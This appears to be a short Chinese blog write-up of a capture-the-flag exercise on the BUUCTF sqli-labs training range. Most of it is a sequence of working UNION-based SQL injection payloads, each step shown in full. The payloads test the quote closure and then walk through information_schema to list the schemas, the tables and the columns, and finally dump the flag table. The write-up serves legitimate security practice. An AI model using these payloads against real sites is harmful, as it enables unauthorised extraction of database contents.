Buuctf | sqli-labs

这个是赵师傅给我们提供的训练靶场,最好都打一遍,但是出于找flag的角度,特此记录一下,flag在哪里【没错,我就是喜欢我的蓝变红,哈】


?id=1' :报错,说明就是用这个闭合的 

?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

Buuctf | sqli-labs

 

 ?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'--+

Buuctf | sqli-labs

 

 ?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctftraining' and table_name='flag'--+

Buuctf | sqli-labs

 

 ?id=0' union select 1,2,group_concat(flag) from ctftraining.flag--+

Buuctf | sqli-labs

 

上一篇:Sqli-labs闯关题基础知识


下一篇:Django AssertionError: .accepted_renderer not set on Response